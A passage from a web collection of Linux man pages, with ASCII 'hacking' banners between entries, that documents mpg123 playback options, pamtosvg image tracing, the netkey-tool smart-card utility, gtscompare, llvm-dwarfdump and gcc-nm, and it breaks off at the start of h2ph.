Set resampling method to employ if forcing an output rate. Choices (case-insensitive) are NtoM, dirty, and fine. The fine resampler is the default. It employs libsyn123’s low-latency fairly efficient resampler to postprocess the output from libmpg123 instead of the fast but very crude NtoM decoder (drop sample method) that mpg123 offers since decades. If you are really low on CPU time, choose NtoM, as the resampler usually needs more time than the MPEG decoder itself. The mpg123 program is smart enough to combine the 2to1 or 4to1 downsampling modes with the postprocessing for extreme downsampling.

-2, - -2to1; -4, - -4to1
Performs a downsampling of ratio 2:1 (22 kHz from 44.1 kHz) or 4:1 (11 kHz) on the output stream, respectively. Saves some CPU cycles, but of course throws away the high frequencies, as the decoder does not bother producing them.

–pitch value
Set a pitch change (speedup/down, 0 is neutral; 0.05 is 5% speedup). When not enforcing an output rate, this changes the output sampling rate, so it only works in the range your audio system/hardware supports. When you combine this with a fixed output rate, it modifies a software resampling ratio instead.

–8bit
Forces 8bit output

- -float
Forces f32 encoding

-e enc, - -encoding enc
Choose output sample encoding. Possible values look like f32 (32-bit floating point), s32 (32-bit signed integer), u32 (32-bit unsigned integer) and the variants with different numbers of bits (s24, u24, s16, u16, s8, u8) and also special variants like ulaw and alaw 8-bit. See the output of mpg123’s longhelp for actually available encodings.

-d n, - -doublespeed n
Only play every n’th frame. This will cause the MPEG stream to be played n times faster, which can be used for special effects. Can also be combined with the - -halfspeed option to play 3 out of 4 frames etc. Don’t expect great sound quality when using this option.

-h n, - -halfspeed n
Play each frame n times. This will cause the MPEG stream to be played at 1/n’th speed (n times slower), which can be used for special effects. Can also be combined with the - -doublespeed option to double every third frame or things like that. Don’t expect great sound quality when using this option.

-E file, - -equalizer
Enables equalization, taken from file. The file needs to contain 32 lines of data, additional comment lines may be prefixed with #. Each data line consists of two floating-point entries, separated by whitespace. They specify the multipliers for left and right channel of a certain frequency band, respectively. The first line corresponds to the lowest, the 32nd to the highest frequency band. Note that you can control the equalizer interactively with the generic control interface. Also note that these are the 32 bands of the MPEG codec, not spaced like you would see for a usual graphic equalizer. The upside is that there is zero computational cost in addition to decoding. The downside is that you roughly have bass in band 0, (upper) mids in band 1, treble in all others.

- -gapless
Enable code that cuts (junk) samples at beginning and end of tracks, enabling gapless transitions between MPEG files when encoder padding and codec delays would prevent it. This is enabled per default beginning with mpg123 version 1.0.0 .

- -no-gapless
Disable the gapless code. That gives you MP3 decodings that include encoder delay and padding plus mpg123’s decoder delay.

- -no-infoframe
Do not parse the Xing/Lame/VBR/Info frame, decode it instead just like a stupid old MP3 hardware player. This implies disabling of gapless playback as the necessary information is in said metadata frame.

-D n, –delay n
Insert a delay of n seconds before each track.

-o h, - -headphones
Direct audio output to the headphone connector (some hardware only; AIX, HP, SUN).

-o s, - -speaker
Direct audio output to the speaker (some hardware only; AIX, HP, SUN).

-o l, - -lineout
Direct audio output to the line-out connector (some hardware only; AIX, HP, SUN).

-b size, - -buffer size
Use an audio output buffer of size Kbytes. This is useful to bypass short periods of heavy system activity, which would normally cause the audio output to be interrupted. You should specify a buffer size of at least 1024 (i.e. 1 Mb, which equals about 6 seconds of audio data) or more; less than about 300 does not make much sense. The default is 0, which turns buffering off.

- -preload fraction
Wait for the buffer to be filled to fraction before starting playback (fraction between 0 and 1). You can tune this prebuffering to either get faster sound to your ears or safer uninterrupted web radio. Default is 0.2 (wait for 20 % of buffer to be full, changed from 1 in version 1.23).

- -devbuffer seconds
Set device buffer in seconds; <= 0 means default value. This is the small buffer between the application and the audio backend, possibly directly related to hardware buffers.

- -smooth
Keep buffer over track boundaries – meaning, do not empty the buffer between tracks for possibly some added smoothness.

MISC OPTIONS

-t, - -test
Test mode. The audio stream is decoded, but no output occurs.

-c, - -check
Check for filter range violations (clipping), and report them for each frame if any occur.

-v, - -verbose
Increase the verbosity level. For example, displays the frame numbers during decoding.

-q, - -quiet
Quiet. Suppress diagnostic messages.

-C, - -control
Enable terminal control keys. This is enabled automatically if a terminal is detected. By default use ’s’ or the space bar to stop/restart (pause, unpause) playback, ‘f’ to jump forward to the next song, ‘b’ to jump back to the beginning of the song, ‘,’ to rewind, ‘.’ to fast forward, and ‘q’ to quit. Type ‘h’ for a full list of available controls. The A-B loop feature with key ‘o’ changes the preset loop interval to the interval between two presses of ‘o’, the third press (or ‘p’) ending the looped playback. The key ‘p’ will use the updated loop interval after that.

- -no-control
Disable terminal control even if terminal is detected.

- -title
In an xterm, rxvt, screen, iris-ansi (compatible, TERM environment variable is examined), change the window’s title to the name of song currently playing.

- -pauseloop seconds
Set the length of the loop interval in terminal control fixed looping mode, away from the default of 0.5 seconds, as a floating point number. This value can be overwritten at runtime using the A-B loop feature.

- -name name
Set the name of this instance, possibly used in various places. This sets the client name for JACK output.

- -long-tag
Display ID3 tag info always in long format with one line per item (artist, title, …)

–utf8
Regardless of environment, print metadata in UTF-8 (otherwise, when not using UTF-8 locale, you’ll get ASCII stripdown).

-R, - -remote
Activate generic control interface. mpg123 will then read and execute commands from stdin. Basic usage is ``load <filename> ’’ to play some file and the obvious ``pause’’, ``command. ``jump <frame>’’ will jump/seek to a given point (MPEG frame number). Issue ``help’’ to get a full list of commands and syntax.

- -remote-err
Print responses for generic control mode to standard error, not standard out. This is automatically triggered when using -s.

–fifo path
Create a fifo / named pipe on the given path and use that for reading commands instead of standard input.

- -aggressive
Tries to get higher priority

-T, –realtime
Tries to gain realtime priority. This option usually requires root privileges to have any effect.

-?, - -help
Shows short usage instructions.

- -longhelp
Shows long usage instructions.

- -version
Print the version string.

- -libversion
Print version information on the mpg123 libraries being used (libmpg123, libout123, libsyn123).

HTTP SUPPORT

In addition to reading MPEG audio streams from ordinary files and from the standard input, mpg123 supports retrieval of MPEG audio streams or playlists via the HTTP protocol, which is used in the World Wide Web (WWW). Such files are specified using a so-called URL, which starts with http:// or https://. When a file with that prefix is encountered, mpg123 since 1.30.0 will by default call an external helper program (either wget(1) or curl(1), see the - -network option) to retrieve the resource. You can configure access via a proxy server using the standard environment variables those programs support. The - -proxy option that mpg123 before 1.30.0 used for its internal network code is gone in the default build now and will probably disappear for good with 1.31.1.

Note that, in order to play MPEG audio files from a WWW server, it is necessary that the connection to that server is fast enough. For example, a 128 kbit/s MPEG file requires the network connection to be at least 128 kbit/s (16 kbyte/s) plus protocol overhead. If you suffer from short network outages, you should try the -b option (buffer) to bypass such outages. If your network connection is generally not fast enough to retrieve MPEG audio files in realtime, you can first download the files to your local harddisk (e.g. using wget(1)) and then play them from there.

Streams with embedded ICY metadata are supported, the interval being communicated via HTTP headers or - -icy-interval.

INTERRUPT

When in terminal control mode, you can quit via pressing the q key, while any time you can abort mpg123 by pressing Ctrl-C. If not in terminal control mode, this will skip to the next file (if any). If you want to abort playing immediately in that case, press Ctrl-C twice in short succession (within about one second).

Note that the result of quitting mpg123 pressing Ctrl-C might not be audible immediately, due to audio data buffering in the audio device. This delay is system dependent, but it is usually not more than one or two seconds.

PLAYBACK STATUS LINE

In verbose mode, mpg123 updates a line with various information centering around the current playback position. On any decent terminal, the line also works as a progress bar in the current file by reversing video for a fraction of the line according to the current position. An example for a full line is this:

> 0291+0955 00:01.68+00:28.22 [00:05.30] mix 100=085 192 kb/s 576 B acc 18 clip p+0.014

The information consists of, in order:

>
single-character playback state (``>’’ for playing, ``=’’ for pausing/looping, ``_’’ for stopped)

0291+0955
current frame offset and number of remaining frames after the plus sign

00:01.68+00:28.22
current position from and remaining time in human terms (hours, minutes, seconds)

[00:05.30]
fill of the output buffer in terms of playback time, if the buffer is enabled

mix
selected RVA mode (possible values: mix, alb (album), and - - - (neutral, off))

100=085
set volume and the RVA-modified effective volume after the equal sign

192 kb/s
current bitrate

576 B
size of current frame in bytes

acc
if positions are accurate, possible values are ``acc’’ for accurate positions or ``fuz’’ for fuzzy (with guessed byte offsets using mean frame size)

18 clip
amount of clipped samples, non-zero only if decoder reports that (generic does, some optimized ones not)

p+0.014
pitch change (increased/decreased playback sampling rate on user request)

NOTES

MPEG audio decoding requires a good deal of CPU performance, especially layer-3. To decode it in realtime, you should have at least an i486DX4, Pentium, Alpha, SuperSparc or equivalent processor. You can also use the -m option to decode mono only, which reduces the CPU load somewhat for layer-3 streams. See also the -2 and -4 options.

If everything else fails, have mpg123 decode to a file and then use an appropriate utility to play that file with less CPU load. Most probably you can configure mpg123 to produce a format suitable for your audio device (see above about encodings and sampling rates).

If your system is generally fast enough to decode in realtime, but there are sometimes periods of heavy system load (such as cronjobs, users logging in remotely, starting of ``big’’ programs etc.) causing the audio output to be interrupted, then you should use the -b option to use a buffer of reasonable size (at least 1000 Kbytes).

EXIT CODE

Up to version 1.25.x, mpg123 always returned exit code 0 also for complete junk on the input side. Fatal errors were only considered for output. With version 1.26.0, this changed to the behaviour described below.

When not using the remote control interface (which returns input errors as text messages), the process exit code is zero (success) only if all tracks in a playlist had at least one frame parsed, even if it did not decode cleanly, or are empty, MPEG-wise (perhaps only metadata, or really an empty file). When you decode nothing, nothing is the result and that is fine. When a track later aborts because of parser errors or breakdown of the network communication, this is treated as end of a track, but does not make the process as such fail. One really bad (or non-existing) stream in the playlist results in a non-zero error code, consistent with other UNIX tools.

An error in audio output results in the process ending with a non-zero exit code immediately, regardless of how much data has been successfully played before. The forgiveness is only on the input side.

BUGS

Mostly MPEG-1 layer 2 and 3 are tested in real life. Please report any issues and provide test files to help fixing them.

No CRC error checking is performed. But the decoder is built and tested to behave nicely with damaged streams. Mostly, damaged frames will just be silent.

Some platforms lack audio hardware support; you may be able to use the -s switch to feed the decoded data to a program that can play it on your audio device.

AUTHORS

Maintainer:

Thomas Orgis <[email protected]>, <[email protected]>

Original Creator:

Michael Hipp

Uses code or ideas from various people, see the AUTHORS file accompanying the source code.

LICENSE

mpg123 is licensed under the GNU Lesser/Library General Public License, LGPL, version 2.1 .

WEBSITE

http://www.mpg123.org
http://sourceforge.net/projects/mpg123

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1031 - Linux cli command pamtosvg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtosvg and provides detailed information about the command pamtosvg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtosvg.

.

NAME 🖥️ pamtosvg 🖥️

convert a Netpbm image to a SVG (Scalable Vector Graphics) image

SYNOPSIS

pamtosvg

[-background-color=colorname] [-centerline] [-corner-threshold=angle] [-corner-always-threshold=angle] [-corner-surround=integer] [-tangent-surround=integer] [-error-threshold=float] [-filter-iterations=count] [-line-reversion-threshold=float] [-line-threshold=float] [-width-weight-factor=float] [-preserve-width] [-remove-adjacent-corners] [-log] [-report-progress] [pnmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamtosvg reads a PNM image as input and produce an SVG (Scalable Vector Graphics) image as output. Thus, it traces curves in the input image and creates a set of splines that represent the image.

SVG is a vector image format, which means it describes curves that compose an image. By contrast, PNM is a raster format, which means it describes dots that compose an image. The main practical difference between the two types is that you can scale vector images better. A vector image also takes a lot less data to describe an image if the image is composed of simple curves.

That means it is really an understatement to say that pamtosvg is an image format converter. It’s really an image tracer. Its main job is to trace a raster image and find the lines in it. It then represents its findings in SVG format.

pamtosvg does the same kind of thing that StreamLine, CorelTrace, and Autotrace do. It is in fact derived from Autotrace.

SVG is a gigantic format, capable of amazing things. pamtosvg exploits only a morsel of it. The SVG image produced by pamtosvg consists of a single <svg> element, which has a “width” attribute and a “height” attribute. The value of that element is composed of <path> elements. That’s it.

In the SVG output, distances are unitless, with one unit corresponding to one pixel of the input.

So that pamtosvg will find simple curves in the image, you may want to remove speckles from it with pbmclean and consolidate multiple shades into single colors with pnmquant first.

For more information on SVG, see the Worldwide Web Consortium’s SVG web page .

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtosvg recognizes the following command line options:

**-background-color=**colorname
Treat the specified color as the background color and ignore it.

If you don’t specify this option, pamtosvg does not recognize any background color.

Specify the color (colorname) as described for the argument of the pnm_parsecolor() library routine .

-centerline
Trace an object’s centerline.

By default, pamtosvg traces an object’s outline.

**-corner-always-threshold=**angle
Consider any angle at a pixel which falls below angle angle (in decimal floating point degrees) as a corner, even if it is bordered by other corner pixels. Default is 60 degrees.

**-corner-surround=**integer
Consider the specified number of pixels on either side of a point when determining if that point is a corner. Default is 4.

**-corner-threshold=**angle
Consider any pixel which forms an angle with its predecessors and successors that is smaller than angle (in decimal floating point degrees) as a corner. Default is 100.

**-error-threshold=**float
Subdivide fitted curves that are offset by a number of pixels exceeding the specified number. Default is 2.0.

**-filter-iterations=**integer
Smooth the curve the specified number of times prior to fitting Default is 4.

**-line-reversion-threshold=**float
When a spline is closer to a straight line than the specified real number weighted by the square of the curve length, maintain it as a straight line, even if it is a list with curves.

Default is .01.

**-line-threshold=**float
If a spline does not deviate from the straight line defined by its endpoints by more than the specified number of pixels, then treat it as a straight line.

Default is 1.

-log
Create a log of the curve tracing process (suitable for debugging). Put it in the file named inputfile**.log** in the current directory, where inputfile is the root of the input file name, or “pamtosvg” if the input is from Standard Input or a file with a weird name.

-preserve-width
Preserve line width prior to thinning. Meaningful only with -centerline.

remove-adjacent-corners
Remove adjacent corners.

-report-progress
Report the progress of the tracing to Standard Error as it happens.

-tangent-surround
Consider the specified number of points to either side of a point when computing the tangent at that point. Default is 3.

-width-weight-factor
Weight factor for fitting the linewidth.

APPLICATION NOTES

A convenient way to view an SVG document is with a web browser. Many understand a file whose name ends in “.svg” to be an SVG image and can render it.

SEE ALSO

pnmquant(1) , pbmclean(1) , pnm(1) , Autotrace

HISTORY

pamtosvg was added to Netpbm in Version 10.33 (March 2006).

The core of pamtosvg – the curve tracing logic – was taken nearly unmodified from Martin Weber’s Autotrace program. That program duplicates a lot of Netpbm function, so pamtosvg is a much leaner program.

Bryan Henderson created pamtosvg, basically just by adapting Autotrace to Netpbm.

Autotrace was first released in 2000 and updates were released through 2002. A number of people wrote the code in it, but Masatake Yamato and Martin Weber appear to be the principal creators of it.

As of June 2006, there was a Sourceforge project for it.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtosvg.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1032 - Linux cli command netkey-tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command netkey-tool and provides detailed information about the command netkey-tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the netkey-tool.

NAME 🖥️ netkey-tool 🖥️

tool - administrative utility for Netkey E4 cards

SYNOPSIS

netkey-tool [OPTIONS] [COMMAND]

DESCRIPTION

The netkey-tool utility can be used from the command line to perform some smart card operations with NetKey E4 cards that cannot be done easily with other OpenSC-tools, such as changing local PINs, storing certificates into empty NetKey E4 cert-files or displaying the initial PUK-value.

OPTIONS

–help, -h

Displays a short help message.

–pin pin, -p pin

Specifies the current value of the global PIN.

–puk pin, -u pin

Specifies the current value of the global PUK.

–pin0 pin, -0 pin

Specifies the current value of the local PIN0 (aka local PIN).

–pin1 pin, -1 pin

Specifies the current value of the local PIN1 (aka local PUK).

–reader arg, -r arg

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

-v

Causes netkey-tool to be more verbose. This options may be specified multiple times to increase verbosity.

PIN FORMAT

With the -p, -u, -0 or the -1 one of the cards pins may be specified. You may use plain ascii-strings (i.e. 123456) or a hex-string (i.e. 31:32:33:34:35:36). A hex-string must consist of exactly n 2-digit hexnumbers separated by n-1 colons. Otherwise it will be interpreted as an ascii string. For example :12:34: and 1:2:3:4 are both pins of length 7, while 12:34 and 01:02:03:04 are pins of length 2 and 4.

COMMANDS

When used without any options or commands, netkey-tool will display information about the smart cards pins and certificates. This will not change your card in any aspect (assumed there are no bugs in netkey-tool). In particular the tries-left counters of the pins are investigated without doing actual pin-verifications.

If you specify the global PIN via the –pin option, netkey-tool will also display the initial value of the cards global PUK. If your global PUK was changed netkey-tool will still display its initial value. Theres no way to recover a lost global PUK once it was changed. Theres also no way to display the initial value of your global PUK without knowing the current value of your global PIN.

For most of the commands that netkey-tool can execute, you have to specify one pin. One notable exception is the nullpin command, but this command can only be executed once in the lifetime of a NetKey E4 card.

cert number filename

This command will read one of your cards certificates (as specified by number) and save this certificate into file filename in PEM-format. Certificates on a NetKey E4 card are readable without a pin, so you dont have to specify one.

cert filename number

This command will read the first PEM-encoded certificate from file filename and store this into your smart cards certificate file number. Some of your smart cards certificate files might be readonly, so this will not work with all values of number. If a certificate file is writable you must specify a pin in order to change it. If you try to use this command without specifying a pin, netkey-tool will tell you which one is needed.

change {pin | puk | pin0 | pin1} new-pin

This changes the value of the specified pin to the given new value. You must specify either the current value of the pin or another pin to be able to do this and if you dont specify a correct one, netkey-tool will tell you which one is needed.

nullpin initial-pin

This command can be executed only if the global PIN of your card is in nullpin-state. Theres no way to return back to nullpin-state once you have changed your global PIN. You dont need a pin to execute the nullpin-command. After a successful nullpin-command netkey-tool will display your cards initial PUK-value.

unblock {pin | pin0 | pin1}

This unblocks the specified pin. You must specify another pin to be able to do this and if you dont specify a correct one, netkey-tool will tell you which one is needed.

SEE ALSO

opensc-explorer(1)

AUTHORS

netkey-tool was written by Peter Koch <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1033 - Linux cli command gtscompare

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gtscompare and provides detailed information about the command gtscompare, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gtscompare.

NAME 🖥️ gtscompare 🖥️

compare two GTS files.

SYNOPSIS

gtscompare [ OPTIONS ] FILE1 FILE2 DELTA

DESCRIPTION

This manual page documents briefly the gtscompare command.

DELTA is the sampling length expressed as a fraction of the bounding box diagonal of the second surface.

OPTIONS

This program follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-s, –symmetric
Symmetric statistics.

-i, –image
Output visualisation mesh.

**-c ***FILE, ***–cmap=**FILE
Load FILE as colormap.

**-m ***VAL, ***–min=**VAL
Use VAL as minimum scaling value.

**-M ***VAL, ***–max=**VAL
Use VAL as maximum scaling value.

-r, –reverse
Reverse colormap.

-l, –log
Use log scale.

-h, –help
Display the help and exit.

AUTHOR

gtscompare was written by Stephane Popinet <[email protected]>.

This manual page was written by Ruben Molina <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1034 - Linux cli command llvm-dwarfdump-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-dwarfdump-16 and provides detailed information about the command llvm-dwarfdump-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-dwarfdump-16.

NAME 🖥️ llvm-dwarfdump-16 🖥️

dwarfdump - manual page for llvm-dwarfdump 16

DESCRIPTION

OVERVIEW: pretty-print DWARF debug information in object files and debug info archives.

USAGE: llvm-dwarfdump [options] <input object files or .dSYM bundles>

OPTIONS:

Color Options:

–color - Use colors in output (default=autodetect)

Generic Options:

–help - Display available options (–help-hidden for more)

–help-list - Display list of available options (–help-list-hidden for more)

–version - Display the version of this program

Section-specific Dump Options: These control which sections are dumped. Where applicable these parameters take an optional =<offset> argument to dump only the entry at the specified offset.

-a - Alias for –all

–all - Dump all debug info sections

–apple-names - Dump the .apple_names section

–apple-namespaces - Dump the .apple_namespaces section

–apple-objc - Dump the .apple_objc section

–apple-types - Dump the .apple_types section

–debug-abbrev - Dump the .debug_abbrev section

–debug-addr - Dump the .debug_addr section

–debug-aranges - Dump the .debug_aranges section

–debug-cu-index - Dump the .debug_cu_index section

–debug-frame[=<offset>] - Dump the .debug_frame section

–debug-gnu-pubnames - Dump the .debug_gnu_pubnames section

–debug-gnu-pubtypes - Dump the .debug_gnu_pubtypes section

–debug-info[=<offset>] - Dump the .debug_info section

–debug-line[=<offset>] - Dump the .debug_line section

–debug-line-str - Dump the .debug_line_str section

–debug-loc[=<offset>] - Dump the .debug_loc section

–debug-loclists[=<offset>] - Dump the .debug_loclists section

–debug-macro - Dump the .debug_macro section

–debug-names - Dump the .debug_names section

–debug-pubnames - Dump the .debug_pubnames section

–debug-pubtypes - Dump the .debug_pubtypes section

–debug-ranges - Dump the .debug_ranges section

–debug-rnglists - Dump the .debug_rnglists section

–debug-str - Dump the .debug_str section

–debug-str-offsets - Dump the .debug_str_offsets section

–debug-tu-index - Dump the .debug_tu_index section

–debug-types[=<offset>] - Dump the .debug_types section

–eh-frame - Alias for –debug-frame

–gdb-index - Dump the .gdb_index section

Specific Options:

-F - Alias for –show-form.

–arch=<string> - Dump debug information for the specified CPU architecture only. Architectures may be specified by name or by number. This option can be specified multiple times, once for each desired architecture.

-c - Alias for –show-children.

–diff - Emit diff-friendly output by omitting offsets and addresses.

-f - Alias for –find.

–find=<name> - Search for the exact match for <name> in the accelerator tables and print the matching debug information entries. When no accelerator tables are available, the slower but more complete -name option can be used instead.

-i - Alias for –ignore-case.

–ignore-case - Ignore case distinctions when using –name.

–lookup=<address> - Lookup <address> in the debug information and print out any available file, function, block and line table details.

-n - Alias for –name

–name=<pattern> - Find and print all debug info entries whose name (DW_AT_name attribute) matches the exact text in <pattern>.
When used with the the -regex option <pattern> is interpreted as a regular expression.

-o <filename> - Redirect output to the specified file.

-p - Alias for –show-parents.

–parent-recurse-depth=<N> - Only recurse to a depth of N when displaying parents of debug info entries.

–quiet - Use with -verify to not emit to STDOUT.

-r - Alias for –recurse-depth.

–recurse-depth=<N> - Only recurse to a depth of N when displaying children of debug info entries.

–regex - Treat any <pattern> strings as regular expressions when searching with –name. If –ignore-case is also specified, the regular expression becomes case-insensitive.

–show-children - Show a debug info entry’s children when selectively printing entries.

–show-form - Show DWARF form types after the DWARF attribute types.

–show-parents - Show a debug info entry’s parents when selectively printing entries.

–show-section-sizes - Show the sizes of all debug sections, expressed in bytes.

–show-sources - Show the sources across all compilation units.

–statistics - Emit JSON-formatted debug info quality metrics.

–summarize-types - Abbreviate the description of type unit entries.

-u - Alias for –uuid.

–uuid - Show the UUID for each architecture.

-v - Alias for –verbose.

–verbose - Print more low-level encoding details.

–verify - Verify the DWARF debug info.

-x - Alias for –regex

Pass @FILE as argument to read options from FILE.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1035 - Linux cli command x86_64-linux-gnu-gcc-nm-13

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gcc-nm-13 and provides detailed information about the command x86_64-linux-gnu-gcc-nm-13, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gcc-nm-13.

NAME 🖥️ x86_64-linux-gnu-gcc-nm-13 🖥️

nm - a wrapper around nm adding the –plugin option

SYNOPSIS

gcc-nm [OPTION] … [ARGS…]

DESCRIPTION

gcc-nm is a wrapper around nm(1) adding the appropriate –plugin option for the GCC 13 compiler.

OPTIONS

See nm(1) for a list of options that nm understands.

SEE ALSO

nm(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1036 - Linux cli command h2ph

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command h2ph and provides detailed information about the command h2ph, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the h2ph.

NAME 🖥️ h2ph 🖥️

convert .h C header files to .ph Perl header files

SYNOPSIS

